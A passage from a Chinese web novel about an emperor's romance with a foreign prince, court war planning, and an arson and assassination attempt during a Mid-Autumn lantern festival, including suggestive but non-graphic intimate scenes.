已经有许多年没人唤过师离忱的小字了。 殿内默然片刻。 师离忱敛眸道:“小字啊……我的小字,山君。” 山君。 山君。 山君。 裴郁璟悄然在心中念了好几遍,小臂忽地收紧,激动的把师离忱往怀里带了带,从背后靠上来,下巴抵在师离忱的头顶,有一下没一下地嗅着,开口唤时,声音低磁悦耳:“山君……山君……” 不断地轻语呢喃,听得师离忱耳中发麻,耳廓都感觉到了热意,不过只是念个小字罢了却如同在抵。死。缠。绵。 身后的裴郁璟就像一团火,师离忱心绪变幻几番,居然在他轻唤声中,感觉双颊也被感染了热意。 “……” 师离忱默了默,忽然翻了个身,捧住裴郁璟的脸庞吻上去,撬开齿关,真正的缠在一起。他要把那该死的,让他心跳变异的声音全堵回去! 与之而来的。 裴郁璟激烈地反扑,逐渐加深这份连接,师离忱蹙眉搂住了他的后颈,有些招架不住如此猛烈的攻势,偏头重重喘气。细密的亲昵就落在了他玉白的颈侧,重新覆盖上一层痕迹。 从一开始的主动化为了被动,被高大的身影覆盖笼罩,十指相扣,一只脚踝被捞住往上折了折。 裴郁璟支起身子,喉结滚动着下颌绷紧,极力克制压抑着念想,凑过去亲了亲师离忱如珠般的耳垂,哑着声道:“山君……你后头的药才上没多久,再弄就伤了,腿借我用用好不好?” “闭嘴。” 师离忱嫌他吵,又被呼吸烫到了耳后肌肤,颤了颤。他默许地勾住了裴郁璟的腰,微微偏首,堵住他的嘴巴。 第82章 胡闹诨闹。 一直闹到了晌午二人才堪堪起身。 乐福安身子尚未大好,师离忱特意吩咐叫他休息几日再来御前侍奉。 裴郁璟很是乐意的把活接了过去,给师离忱梳着发,仔仔细细打理。师离忱后腰酸得很,懒懒得靠在椅子中,垂眸任由他折腾。 转眼发间就被按上了珍珠挂饰,藏在发里垂与耳后,睡前脱下的骨哨也被重新戴回了脖子,放进了衣领。 师离忱百无聊赖地瞥了眼裴郁璟,倦怠地打了个哈欠,随便他去了。 相较于师离忱的随意,裴郁璟还有些遗憾,觉得还不够精细,要不是圣上嫌饰物太多硌得慌,他真心想把各种各样的金珠玉宝都戴上去。 他还藏着一副异域脚环,上头有两个响铃,一晃就会发出清脆悦耳的声响,要是套在师离忱细白的脚踝上……裴郁璟眸光晦暗一瞬,有些意动。 朝夕相处。 他曾试探过几回。 天子将醒未醒,或是睡意朦胧之际最好摆弄,那时的圣上不似平常般喜怒不定,反倒格外温顺乖巧,可叫人为所欲为。 察觉到裴郁璟直勾勾的视线,师离忱抬眼,看到镜中裴郁璟幽沉的目光正落在他身上。 “……” 昨晚上裴郁璟就是这种眼神,折腾了他一晚上。 师离忱想了想。 朝裴郁璟勾了勾手指,等裴郁璟倾身时,他伸手压在裴郁璟的后颈,将人带来下吻住他的唇。 亲了一会儿才松开。 裴郁璟舔着嘴巴,意犹未尽,没想到还有意外之喜。 师离忱安抚好他,哼笑道:“……没出息,等会儿和朕去御书房的时候,把你的眼睛收一收。” 裴郁璟叹道,“知道了。” * 南晋意图不轨,和亲公主密谋行刺一事大清早传遍京都。 以及太后通敌,与镇国公麾下将士勾连,一脉人等全部扣押至大理寺诏狱。镇国公治下不严,于宫门前负荆认罪,上请辞官。 圣上仁慈,念及其功绩深厚,虽废其一脉官职,却未废其爵位,并赐一御医为其调养身子,不限其后人科举或以武入仕。 太后则发落至皇陵,终身不得回京。 一时间,京都城中南晋使团臭名昭著,几乎是人人喊打的程度。被禁军押解,驱离出境。 裴敬元千里迢迢来月商,被裴郁璟揍了一顿,加上密谋之事落败,自是心有不甘—— 况且此事不成,回去父皇必然对他大失所望,又有老四在旁虎视眈眈,回南晋去必定没好果子吃。 于是临行前妄图挣扎一番。 可走出驿站一听,全是南晋来的两位皇子在宫宴闹出矛盾,七皇子大义灭亲,沉痛之余,痛打二皇子。 颠倒是非黑白,这一夜之间风声传遍,迟早会传回南晋!传到父皇的耳朵里! 裴郁璟一贯会装模作样,在父皇眼中,此人一向不成气候。父皇要是得知此信,一定会将罪责怪到他的头上! 裴敬元简直百口莫辩。 明明被为难的是他,被打到起不来身的是他,这下连罪责也全是他的! 加上他醒来之后,才得知宫宴过后,月商帝又宣了一道圣旨,要与南晋斩断麦粮贸交。 其中牵扯甚广,不言而喻。 裴敬元傻了。 没想到月商帝会不顾商民,斩了这条线。南晋地广难栽,有一部分麦粮全靠与月商交涉购置。 可南晋商民,也有一部分靠着于南晋商交得财。他想不通,月商帝怎么会果决到这种程度。 就不怕底下有民不愿?! 他想借此谈判,再见月商帝一面,挽回一番。可很显然,月商帝意已决,将使团所有人全部扣押离境,毫无相商余地。 裴敬元也只能尽快将消息编撰到信上封好,以求尽快传送回南晋。 …… 因断绝于南晋商交麦粮一事,内阁早早就在等着召见,晌午一过,便齐聚于御书房。 经过一上午的冷静。 内阁大臣知道该说什么不该说什么,针对这方面做好了详细的安排对策,一起撰写成了奏折上呈给师离忱。 师离忱扫过几眼,许可了。 今日召集内阁不止是为了这事,既然开始筹备,那么就要为接下来攻打南晋一事做规划。 舆图摆上了台前,师离忱坐于主位,裴郁璟坐在他左手边,对面是老太师。其余人按顺序落座。 老太师见师离忱议事都带着裴郁璟,顿时眉头一皱,尤其今天谈论内容是怎么打南晋。 合适吗? 不合适。 老太师道:“圣上……” “且慢。”师离忱知道他要说什么,抬手制止了,浅笑着给老太师递了个眼神,“若是说九苍的话,太师还是不必多言。” 裴郁璟也笑眯眯道:“老太师,昨日宴上您也瞧见了,我那皇兄不是个善茬,回去必定添油加醋……我这厢弃暗投明……您该不会责备我吧?” 这话说得就很有艺术性和茶味了。 众人目光齐刷刷落在裴郁璟身上。 不经回忆起他昨日宴上打人的模样,猛然打了个寒颤,气势杀意太过凶残,不知道的还以为在对待什么生死仇敌,谁会想到是他皇兄啊! 老太师冷哼一声,半信半疑地扫过裴郁璟,到底没再开口阻挠。 户部侍郎笑哈哈的打圆场,“一看裴殿下身姿巍峨,英姿飒爽,定是个光明磊落的。” 气氛缓和下来,几人又闲扯了几句,场面重新松快起来,才转而将目光移到了舆图上。 “率兵北关直进,追至东江……”兵部侍郎出谋划策。户部道,“说得好听,小心南晋绕到你屁股后面给你打散。” 兵部侍郎道:“那就改声东击西,兵分两路,围攻……” 户部道:“两边都是江道,你带兵投江?” “你是不是诚心和我过不去!!”兵部侍郎额角青筋暴跳,卷起袖子大有干一架的气势。 户部侍郎立刻看向师离忱,假哭着抹眼泪道:“圣上,你瞧瞧他这牛脾气,臣的话都没说完呢。” 师离忱沉吟,“易守难攻,是要多拨些银子。” 一句话就点破了户部侍郎的心思。大举进攻,军需自然是要从国库拨款,拖得越久就花得越多。 户部侍郎干咳两声,“臣不是那个意思。” 兵部侍郎瞪他,斥道:“吝啬!” “花销不是问题,只是有更简便的方法。”一旁,盯着舆图许久的裴郁璟忽然开口,引起旁人瞩目。 师离忱微微侧首注视他,唇边含笑温声道:“不妨说说看。” 裴郁璟扬眉,指尖点在舆图中央的道上,“这儿,往上走,东江绕后,翻过一座山,有片沼泽,渡过去就是城池偏门。这里地形天然防备,守卫要薄弱一些,大部分从前方攻打,只需分一支绕后……” 裴郁璟侃侃而谈,谈到军中计策,他神情认真肃冷,宛若自带杀神气息。师离忱眸光微动,看着他认真聆听。 满场沉寂,唯有裴郁璟声音不徐不疾地响着,规划清晰有条理依据。 不稍片刻后。 裴郁璟说完,抬眼对上师离忱的视线,低声问:“……怎么了?”桌下的手悄悄伸过去,按在了师离忱手背上,轻轻捏了捏。 师离忱回神,眼梢弯了弯,莞尔道:“没什么。” 二人之间氛围奇怪,当然内阁大臣也不是傻子,圣上又没做遮掩,也不说穿个围脖之类的,脖子上的痕迹明显。 还有那个姓裴的,下颌那个牙印,明目张胆的挂着,简直没眼瞧。 大臣们不断将目光瞟过来,八卦之心熊熊燃起。只是等师离忱抬眼后,他们又端正了神色。 …… 议事至傍晚才堪堪散去,唯有老太师稳坐不动。 等所有人都走了,老太师抬头,不做掩饰地视线在裴郁璟和师离忱身上来回扫,语重心长道:“圣上……他,你,他……” 师离忱低咳两声,“太师有话直说就是。” “恕老臣僭越。”老太师终究是没忍住,“圣上,注意身子。”又变了语气,狠狠瞪了眼裴郁璟,咬牙切齿道:“……竖子!” 老江湖眼睛毒辣的很,看裴郁璟哪哪都不顺眼。 圣上也算是他看着长大的,被一个异国皇子拱了,他实在是心有愤慨。 只是老太师文雅了一辈子,实属说不出不堪之言,最后警告地瞪了裴郁璟半晌,愤然甩袖离去。 “……” 余留的二人对视一眼,裴郁璟不清楚内情,可师离忱是知道的,想着老太师怕是憋了一腹的脏话,忽地笑出声来。 * 去南庙找道人的太医令,一去就是月余,好歹是赶在中秋前回了京都。 此时,裴郁璟刚哄着师离忱吃下一枚压蛊虫的药丸。 沾点药味的东西圣上都厌恶至极,他不上点心,师离忱是不会主动去吃的。 共三枚,已经吃了两枚,现在还剩最后一丸。想想那毫无消息踪迹的大巫,裴郁璟眉眼压了压,眼底隐忍着阴翳。 太医令带着道人先去了太医署整顿了一番,随后到御前听宣,乐福安问道:“圣上可要见一见?” 大老远的来一趟不容易,师离忱道:“进来吧。” 太医令携一个身穿五颜六色道袍的道人进殿,二人躬身道:“参见圣上。” 师离忱打量了一眼,那道人中年之姿,并不年轻,气度很沉稳。他轻托着下颌,漫不经心道,“你打算怎么给朕瞧病?” 道人也在看师离忱,目光慈悲柔和,道:“圣上得的不是病,且能解此法的并非贫道。” 此话一出,太医令转过头看道人,如果眼睛能说话,他脸上写满了‘你是不是想害死我’。 裴郁璟则瞬间抬头,冷冷凝视着道人。 “喔?”师离忱声音不轻不重,情绪莫测道,“那你不妨和朕说说,谁能解?” 静默须臾。 道人似乎并未察觉到空气里涌动的杀意,只笑说,“天的结,天可解。” 打什么哑谜。师离忱见不得有人不说人话,摆摆手,郞义肃然拔刀,刀锋凛然于光中一闪。道人马上跪了,“我的意思是,得叫我师父来。” 主打一个能屈能伸。 太医令既无语,又想笑,“你一开始就该对圣上说人话的。” 道人面对师离忱讨饶地笑了笑,旋即正了正色,道:“圣上可听过大巫?” 闻言。 师离忱瞥了眼裴郁璟,噙笑道:“是听说过。” 道人道:“大巫可与天通,师父算到圣上会派人到南庙找贫道,便叫我在南庙等着,我等了三年,总算等到太医令来寻我入宫。” 师离忱道:“大巫没和你说,进宫之后做什么?” 说倒是说了。道人不找痕迹地打量了眼裴郁璟,又看了圈周围,觉得人有点多,琢磨了一下小心道:“圣上,这……” 师离忱了然,选择给他这份耐心,侧目给了乐福安一个眼神,乐福安心领神会沉声道:“都退下吧。” 殿内侍奉的宫人陆续退到殿外,郞义,乐福安,太医令也跟了出来。 这时殿内只剩三人。 师离忱慢悠悠地抿一口茶水,“有什么话,现在可以说了。” 裴郁璟毫不避讳地坐在师离忱腿边,紧紧挨着,宛若盘踞在此的猛兽,侧目扫过道人的一眼目光幽沉,格外具有威慑力。 随时能拧断他的喉咙。 道人脊背一寒,低首道:“师父说,天命难算,并非事事准。叫我入宫先看圣上与裴殿下是个什么关系,若是关系亲厚,他中秋过后,就来圣上跟前解蛊。” 裴郁璟嗤了一声,似是不屑于这种说法。 师离忱无聊,指尖挑起一缕他的发尾,与玉戒一起卷着,慢条斯理道:“若是朕与九苍关系很差,是生死仇敌呢?” 道人停顿片刻,诚恳道:“师父说过,如果圣上与裴殿下有生死大仇,贫道便到不了京都城外,他会来救贫道。然后再给圣上解蛊……解完,杀裴殿下。” 听到大巫有要杀他的想法,裴郁璟神色并无变化,反倒是对另一个猜想更在意些,道:“大巫倒是很了解我。” 他转眸看向裴郁璟,想到高兴的事,脸上笑容还带着几分森森笑意,“前几年,南晋帝广寻天下名医治理身子,真让他找到了世外名医,人刚到上京就被我叫人劫走了,现在在我麾下做事,性子古怪了些……我几个月前问他懂不懂蛊,他说会下不会解,想拿你当练手,胆大包天,我便没叫他来。” 师离忱被他逗乐了,轻轻敲了敲他的脑袋,转眸对道人道:“朕不难为你,你便住在太医署吧,什么时候大巫来了,你什么时候走。” 敢愚弄他的人,现在坟头草都被割过几茬了,且留着这个道人,看看大巫还耍什么把戏。 屏退了道人。 “圣上,卫大人求见。”乐福安在门外道。 今日翰林院是卫珩一当值,只是师离忱想了想,近来并无要事,该安排的都安排了,他有些困乏地揉了揉眉心,“问问他,什么事?” 乐福安应了声。 没过一会儿,重新回来道:“圣上……卫大人是帮穆世子送信来的。”未夺穆家爵位,穆子秋仍然是世子。 师离忱无意为难穆子秋,这小子从小就是个活蹦乱跳的,只是不大聪慧不会看人眼色,在重要时刻还是有勇有谋。 他让乐福安把信送进来。 裴郁璟凑过去,想亲师离忱。师离忱嫌他腻腻歪歪的,把人推开,裴郁璟就沉着脸坐在一旁,盯着师离忱看。 信没被拆封过,内容也不多。 穆子秋去边关了,参军,从底层做起。师离忱蹙眉,“……镇国公可曾知晓此事?” 穆国公如今没了官位,只是吃爵饷。 京都城对风声看得紧,风向转变,落井下石之人也是会有的,之前那帮人待穆子秋有多热络,后头就会待他有多冷。 穆子秋是个年轻气盛的,革职后进不了皇宫,连给宫中递牌子的机会都没了,便想着凭本事挣军功。 关于这事,镇国公府上自然是闹过的。 国公夫人知晓穆子秋被革职心中难过,特意炖了汤去劝劝孩子,谁知一推门就见一封辞别信,连忙找了镇国公商议对策。 “你到底管不管?!”国公夫人一边流泪,一边拿着信质问镇国公,“你大义凌然,你为胞妹担责!却不知到为孩儿打算!你就这么看着我的孩儿去送死?!如今月商与南晋关系恶化,万一打起来,你怎么把我的子秋赔给我!” 镇国公闭了闭眼,叹道:“他总不能一辈子活在你我的羽翼之下……那日围剿叛军,他是个成算的孩子,出去练一练,不是坏事。” 国公夫人砸碎了茶碗,“我不管你那乱七八糟的!我只要我的孩儿回来!安安分分的,哪怕是不要这爵位,也不要他去做一个随时丧命的马前卒!” 气氛一时凝固。 顿了顿。 国公夫人哽咽道:“……你现在,马上给你先前的同僚写信,要不然把子秋送回来,要不然就看顾好他……” “那是战场!”镇国公听不下去,蓦然打断她,也是第一次这般疾言厉色,“岂能横加干预!他自己的选择,他该自己担着!他已经不是十二三岁被山匪掳走只会哭的蠢蛋,他今年及冠了!” “圣上最不喜官僚勾结,我刚刚才因太后借势,治下不严而革职在家,此时写信过去,你把我置于何地,又把子秋置于何地?他不是废物。” 镇国公冷静道:“你心疼他,我自然也心疼他,他敢去,就让他闯,闯不出来,死在边关了,我便豁出这张脸,求圣上让我再上一回沙场,同他死在一块地!来年我们爷俩享一份香火!” “……” 国公夫人怔然,看着镇国公愣了片刻,邃然恼怒,怒气冲冲扇了他一巴掌,“行!行!你们爷俩一条心,我管不了你们,大不了一块死了好了!” 她说着,撕了手里的信,快步离开大厅。 …… 穆家独苗。 镇国公能忍,师离忱却不会真的看着这小子到场上送死。 给秦家军寄了封密信,不过没多特殊,还是按照正常的征兵待遇,穆子秋只要不死,其余不用多管。 管了反倒是小瞧他。 津阳城。 秦家军皱着眉头看密信,又看看前头不远处,在京都养得细皮嫩肉,却在台上连续放倒六七个老兵的穆子秋。 算是个有本领的。 就是脑子简单了点,边关又不是京都禁军营,打个擂台再撒点酒水银子就能收买人心……这里可是战场拼人头的。 而酒是平静时的消遣。 再多的酒。 也比不得连日烈阳照晒的干渴中,递过来的一碗清泉水,一张两文钱的干巴薄饼。 第83章 紧锣密鼓筹备军需的同时,中秋月圆夜即将来临。 而南晋意识到求和无用,不再给月商递国书,鞑靼势头凶猛,他们也不敢轻易分心。 世道一时间显得格外风平浪静,似是一切罪孽都潜藏于平静之中。 高祖皇帝当年登基时,便在中秋前后,月商国土地处偏南,本是取名为商,高祖帝大字不识几个,却懂得文人附庸风雅之事。 那时百官将国号拟为商。 高祖帝不管不顾,在前头加了个月字,用他贫瘠的词汇以及理解来说,天子是天之子,那国就是月之国。 雅!太雅! 如今翻看当年的起居郎注载,还能看到高祖帝碎碎念,说自个怎么个聪明,怎么能想出那么雅的国号。 而面对草莽出身,是从土匪揭竿而起的高祖帝,百官人人自危,自是无有不应。 高祖帝当年登基时,恰好又在中秋前后,月商皇帝便有了在中秋前一日拜祖祭月的习惯。 到了师离忱这会儿,祭月发展成了一种举国习俗,各地州府,以及京都城中会安排盛大的灯会。 至于拜祖。 师离忱会给祖宗们多烧点黄纸的,高祖帝会理解他的。 …… 从中秋前一日,京都城中便开始热热闹闹,各处安置花灯,做成各式各样的野禽或者家禽飞鸟。 火红的绸缎挂带于河道之上,盒子灯悬挂在最高处,等待夜间便点燃,一层一层花灯坠落绽放,是鱼儿,或者宝塔,又可能是兔子,嫦娥奔月。 师离忱站在城楼上,静看这满城热闹。 “圣上可要去逛逛?”乐福安观察着师离忱的神色,笑道:“眼下城中正热闹,有戏楼出了鼓上舞,也有人效仿高祖帝阵前杀军……” 师离忱有些意动,“高祖帝开疆扩土,功绩卓绝,朕还不知史书将来会怎么书写朕。” 说完,他又感到好笑,摇了摇头。 左右不会是什么贤德仁君,哪有仁君提刃上朝当庭斩官的。 乐福安笑呵呵道:“圣上断绝匪患,月商盛世和平,后人那是瞎了眼才会辱没您。” 师离忱笑了笑道:“也对,功过千秋自有后人评说。” 乐福安趁热打铁,“还能放河灯呢,老奴听闻庙前的河灯祈愿灵验,圣上可要去玩乐一番?” 虽不信神佛,但师离忱又觉得现下所在的地方太过孤寂冷清,裴郁璟这两日又不知做什么去了,整日都见不到人影,下去凑一凑热闹也好。 他被说动了,目光转向乐福安,“那走吧,去瞧瞧。” * “嘭——” “滋啦——” 盒子灯层层坠落,火花散开。 夜色甚浓,水流温吞。 一盏又一盏祈愿地河灯顺着水在河面缓缓飘荡,随波逐流。即便最终是要从护城河飘出城,在下游被打捞起来,也不影响众人此刻的心情。 圆月悬天。 此时城中喧嚣,热闹,灯影重重,路过街上的卖艺者踩着高跷,为众人演绎神话故事。 囊中宽裕者打赏,会垫在卖艺人前方的道路上。自认本领深厚的,可下腰捡起不靠外力也能重新站起来。 也有碳舞,猜灯谜。 师离忱放了河灯,便随着乐福安的指引,到了南市的塔楼前——这里搭建了一座宏武高台。 高台底下站着密密麻麻的人,对台上翘首以盼,旁边门户廊下也都挤满了人,全是来看热闹的。 塔楼的窗门也都打开,有人从中探出脑袋。 筹办者似乎很重视这场灯会表演,高台四面挂了红缎带,七彩流苏于檐瓦飘荡,玲珑灯不熄。 场上有三四十人,在台上却并不拥挤,他们全部都带着狰狞的鬼脸面具,穿着前朝士兵的甲胄,提枪向中心的一个身影攻打过去。 这会儿来,好地方都被占满了,但乐福安却仍旧找到一个可以落座的阁楼,安顿师离忱坐下。 这个位置正对高台,能将台上一切看得清清楚楚。这就是福安口中说的,扮高祖帝扫敌军。 扮演高祖帝的那抹身影挺拔屹立,手中持刀对长枪,一挑一拨,如行云流水般潇洒。 他和扮演敌军的人一样,也都戴着鬼脸面具,但看穿着就能分清阵营,也不需要看脸。 “好!!” 一刀砍断了两拨长枪,周边众人忍不住发出喝彩声。 师离忱托着下颌,看的目不转睛。 此人想来是有真功夫在身,收力借力,一放一松,持着的长刀似捻着花枝,伴随旁边洋洋洒洒飘来的白梅花瓣,像极了艺术。 有百姓道:“听闻高祖帝当年梅林遇刺,就是这样,以一敌百,一人一武杀出重围。” 师离忱看得津津有味。 忽有一刹。 他与台上之人,面具下的视线对上。 对方似乎只是不经意间扫了过来,并未多做停留,手中挥舞着的刀刃凌厉地刮起一阵风,吹得台上流苏晃荡。 与此同时。 师离忱又听到旁边一阵哗然,他被引得偏头看去。 巍峨高台左侧不远处,原本还立着一面巨鼓,此刻是戏楼的鼓上舞出场,因为离得并不是很远,师离忱所在的位置能看清,也吸引了一部分的目光过去。 诸多蒙着面纱的异域舞姬,捧着一个个巴掌大的小鼓出来,有序地为巨鼓上的人打节拍。 一边翩翩起舞,一边晃着小鼓,手上金铃轻轻作响。巨鼓之上,是一男一女,轻纱曼舞,腰悬金链,光鲜亮丽。 左边是鼓上舞,右边是高台武。 一边是妙曼与柔美,一边是力量与美感。师离忱道:“这两位东家是有仇?挨得这般近,打擂台呢?” 乐福安笑呵呵道:“鼓上舞是千鹤楼东家办的,原是要立在西市,打算借着中秋夜市再扬名一回。” 他道,“千鹤楼的东家又是个倔脾气,瞧见南市搭了个威武的高台,生怕被抢了风头,便把鼓也搬到这边来了,打算直接对擂……反正出面搭台子的又是个面不见经传的掌柜,无所谓得不得罪。” 师离忱了然。 想了想。 又低笑了声。 他转眸看向高台武,上头的‘高祖帝’跃起,翻越人群,身姿矫健灵活,长刀卷着绸缎挥舞,带起大片花瓣,铺向整场。 即便是在旁观,也能感受到几分恢弘戾气,止不住心生畏惧,敌军横七竖八的躺成了堆,他在堆边轻轻抖了抖手腕,便将绸缎斩为两半。 同时台上,烟火绽开,刀刃沾了火星,燃起熊熊烈火!打斗起来带着火花,随着动作,一灭一明,翕张着让场子顿时变得更加热烈! 人们最爱看英武旧事重演,尤其此刻,鼓上舞处也跳到了最欢,鼓声阵阵,似是给高台武增添了一分气势。 气氛到位了。 雀跃之声更加欢腾。 眼见这儿的百姓越聚越多,避免太过躁动出乱子,城中禁军也被调动着过来控制着场面。 第84章 禁军的出现并没有影响到师离忱看灯会的心情。 这是正常的调度,就像此时金吾卫也混在人群里,装扮成游灯客,实际上一直注意着周边一草一木。 哪怕生乱,也会第一时间荡平危机。 故此师离忱并不是很担忧聚众过多是否会对他造成什么人身威胁,他眼睛淡淡瞥过塔下拥挤的人群,单手扶着围栏,指尖有一搭没一搭的轻点。 与民同乐嘛。 师离忱唇角扬起一抹笑意,收回视线,继续看眼前的表演。 受到周围百姓的欢呼感染,他心情愈发的好,阑珊光影下眉眼似乎柔和了几分,一会儿看一看高台上的飒爽英姿,一会儿看看左边翻飞的鼓上舞。 可惜的是,《高祖帝梅林遇刺》之后,台子上重新再上的戏码就成了《后裔诀别歌》。 对于神话他并不是很感兴趣,便不再关注高台上的一切,转而聚精会神地去欣赏鼓上的舞姿。 渐渐入神。 却见方才扮做高祖帝的那人,换了一身琳琅满目的赤红劲装,踩着一个个小鼓,飞跃上巨鼓,巨鼓上的两名舞者被迫退下,对视一眼,不好再往上去。 又见一旁东家朝他们使眼色,会了意,立即随了人流,继续翩然起舞,好似什么都没发生。 鼓舞成了鼓上剑舞。 剑风凌冽,收了勇劲,多了一丝刚柔,笔笔杀招在一旁舞女与阵阵鼓声的应和下反倒多了丝丝刚柔。束冠马尾里掺杂了金丝,虽光影闪动,自成一派的跃然意气。 一旁的不远处。 僚属一边肉疼地给千鹤楼东家送银票,一边臭着脸道:“此乃双赢,城中谁人不知鼓上舞是你们千鹤楼的,不可太贪。” 东家数着银票,嘀嘀咕咕,“你们才贪。架个高台不够戏的,非要来抢我这大鼓……”对上僚属淬寒的视线,他及时收声,“罢了罢了,瞧在银子的份上,我不与你们计较。” “……” 僚属深深闭目,吐出一口气,然后看向鼓上以剑做舞,跳得起劲的主上。咬着一口牙暗骂,孔雀开屏啊!皇帝出宫了吗?到底开给谁看了! …… 正在欣赏开屏的师离忱,笑意加深。 突闻一声惊呼:“欸!看那边,着火了!!”宛若激起千层浪,顿时引得众人目光朝着所指的方向看去。 哗然一片。 远处的河面,可见一个游船,船上燃了冲天火光,似要将天都烧亮半边,看方向是北市河道的船,想来烧了有一会儿了,现下才顺着河道飘到了南市能看见的地方。 这下人们大半都往外挤,纷纷要往那边去凑热闹。 高台停了戏,鼓上停了舞。 师离忱站起身来,往着火的方向眯着眼眺望了会儿。乐福安道:“郞统领已经过去查看情况了,出了这厢乱子……圣上可要先回宫?” 师离忱声音听不出喜怒,“赶在月祭夜放火,胆子够大的。” 中秋前后花灯夜市沾染的火气多,以防万一,京都城中一向有备水,暗地里也有禁军巡视,一旦发生火情燃烧,必然会以水浇灭,或者盖上大片的泥土。 那游船大有三层上下,又飘在宽阔的河道上,还能烧成这幅模样,没点猫腻是绝不可能的事。 会是谁呢…… 思索间入神,未察身边来人,直到手背被带着茧子的掌心覆盖,抓起来捂着,他才回过神来,看向身侧腰间别剑,鬼脸面具还没摘的高挑身影。 师离忱笑了一声,把他面具掀开,在面具下的俊美脸庞上捏了捏,“怎么不跳了?” “山君都不瞧我了,有什么好跳的,跳给谁看。”裴郁璟随手把面具半挂在头上当配饰,一边把师离忱苍白的双手捂在手心捧着,蹙眉嘀咕,“手怎得这么凉?定是这地着了风,早知就该封个窗的。” 说话间,他给师离忱披上了狐裘,紧了紧衣领。倒叫旁边乐福安臂弯里搭着的披风毫无用武之地了。 本身就是师离忱嫌这外披累赘不愿意穿,一瞧裴郁璟脸色沉甸甸的,他到底没再挣脱。可回过味来又觉得不对,什么时候轮到他看裴郁璟脸色了? 气得笑了一下,于是转手又掐了掐裴郁璟的耳垂,那儿挂着一个太阳花耳铛,长长的随着链子垂到肩头,毛茸茸的好似蒲公英在风里飘荡。 “这儿冷,那就去热的地方。”师离忱扬了扬下颌,嗤道,“在月祭夜烧得那么厉害,知道的是船烧了,不知道的还以为朕的皇城燃起来了。” 第85章 河畔。 猛火卷船,里外三层的游船完全烧起来,火尖直冲天际。 岸边聚了一圈围观百姓,被京兆尹带来的侍卫拦在较远处,仍然朝此处观望。 禁军往这处调赶。 连着将水往船上浇,一茬接一茬,却还是杯水车薪。 烈火太盛,其余人等轻易不敢靠近,朗义与禁军统领划着一片小舟,过去围着转了一圈。 因是在河道中央起火,四面环水,离岸边较远,刚起火时就有人从船上的小舟逃下来。 再不济的跳水游上岸,狼狈一些总比丢命强,这会儿船上已经没人了,哪怕有也烧完了。 “有猛火油,飘了一圈在水上,得叫人来清理。” 卫珩一也在船上,这会儿灰头土脸地在岸上擦脸擦手,呛咳得一时说不出话。 听到禁军统领带来的消息,他面色沉坠得可怕,还有几具刺客尸体从船上抬下来,烧得面目全非。 “夏少卿来了。” 禁军统领和夏时重打招呼,涉及刑案,此事要移交大理寺查办。 虽然卫珩一被呛了嗓子,他身边同样灰头土脸的荀嵩还能说话,忙不迭把夏时重拉到一旁,喋喋不休描绘游船凶险一幕。 这些刺客也不知是从哪儿冒出来的,游船上或有头有脸,有些官职的官员都挨了追杀,幸亏船上有武将,这才没死伤过重,却也有几位被抬下去医治了。 比如在船上的小郡王,就是这些刺客的主要目标,被划伤了胳膊,被火燎了一大撮头发,好在没毁容,却也把这小子吓得不轻,这会儿包扎去了。 …… 岸边忙得不可开交,打理惨案,朗义忽然朝卫珩一身后作揖行礼,肃声道:“……离公子,裴殿下。” 京都城,天子脚下,公然袭击朝廷命官,皇室宗亲。 师离忱来时唇边还挂着笑,笑不达眼底,温文尔雅,却平白叫人瞧出一股肃杀之意。 喧嚣的场面突然寂静,饶是隔得老远的围观百姓,也瞄出了几分气氛的不同寻常。 师离忱扫了眼卫珩一,白白净净的探花郎被烧得一身漆黑,勉强还能看出原本衣裳成色是雪白的底料,温声道:“可有伤到哪儿?” “下官……下官……咳咳!” 卫珩一咳了两声,旁边有人递水,他嗓子被烟熏得有点沙哑,“只是被烟呛了,下官不曾被刺客伤及……兹事体大,有人在京都城中偷进猛火油,特意选在月祭夜闹事,点火,还伤了小郡王,恐怕来者不善。” 朗义上前,至师离忱身侧附耳道:“微臣适才验过刺客尸身,有几具皮肤上有残留火油,疑似是起了内讧被泼上去的。小郡王出事时是单独在船舱厢房,还得问过小郡王。” 师离忱转着玉戒,对一侧的乐福安使了个眼色。乐福安会意,立即去探听情况。 小郡王这会儿被医师按着包扎,隔得老远都能听到少年人的鬼哭狼嚎。 养尊处优的小子这辈子都没受过这种苦,焦了头发还受了伤,听说宫中有人来给他撑腰,一边哭一边一股脑全交代了。 原是倒霉。他进屋更衣,恰好两波刺客都聚在了厢房,那厢房本是给卫珩一准备的。 卫珩一近来在京都风头正盛,又得了个治水有功之名,被列为了首要目标。 可这送上门来的小郡王,也不能放过。 两波刺客生怕对方影响了自己,原本攻击小郡王的剑,转而指向了对方。 小郡王躲在桌底下,闹得动静大了,才侥幸逃了一命,本是要泼到小郡王身上的火油,也掉头泼到了刺客身上。 乐福安面色阴沉道:“老奴已命人封锁京都城,必然叫他们挑不出这天罗地网。” “臣等已下令大理寺整理往年暗探信息,筛查是否有漏网之鱼。”夏时重道。 卫珩一思索道:“猛火油进京出入省察严苛,想必并非一日两日能策划得出,还要往深了查。” 话都在理。 师离忱眸波冷然,“尔等便与监察司对接,涉案人等一律关押审讯,找仵作来验明,三日内给朕一个交代!” 众人俯首:“遵旨!” …… 围观百姓并不知发生何事,只知中秋前夕的月祭夜,游船燃了大火,非同小可,一时间在京都城传闹得沸沸扬扬。 当然除了猛火烧船这等惨烈之事,还有鼓上剑舞,高台戏码供人津津乐道。 风头分俩,倒是把烧船的事压下去,显得没那么严峻,成了饭后谈资。 可朝中官员却是为了此事查得焦头烂额。 便由他们忙乱去。师离忱心中已有猜忌,不过是等一个罪名确立。 除此之外。 师离忱也在关注京都内外是否有大巫的踪迹出现。 可惜中秋月祭,人多繁杂,各路道人和尚也出来走动,要大海捞针实在困难。 忙乱一日。 回到宫中时,师离忱眉眼间浮出几分淡淡疲色。 临到紫宸殿外,乐福安朝他神秘一笑,“圣上累了,快进殿歇息吧,今日老奴不打搅您。” 这老刁奴,也不知背地里和裴郁璟串通了什么话,哄他出去逛灯会,这会儿又不知在搞什么新花样。 不过,让师离忱被大火毁坏的心情稍稍转圜了些,点了点乐福安脑门,幽幽道:“你呀,滑头。” 乐福安躬身赔笑,小心搀着师离忱进殿后,将人都招呼出去,清了场才关上殿门。 …… 殿中燃香。 幔帐朦胧,一只结实的臂膀掀开了恍惚的幕布。 不似夜间登台时裹得严严实实,上腹完全掉在烛火的昏光里,打出蜜色暖调,身躯肌肉与腹沟鲜明悬挂了鼓上舞的腰链,冰凉的贴悬与半空轻晃,又挂在了宽阔的臂膀宛若绳索版绕了过去,缠在臂弯。 师离忱竟不知,一个简单的金锁腰链,能穿成这股轻浪的模样。 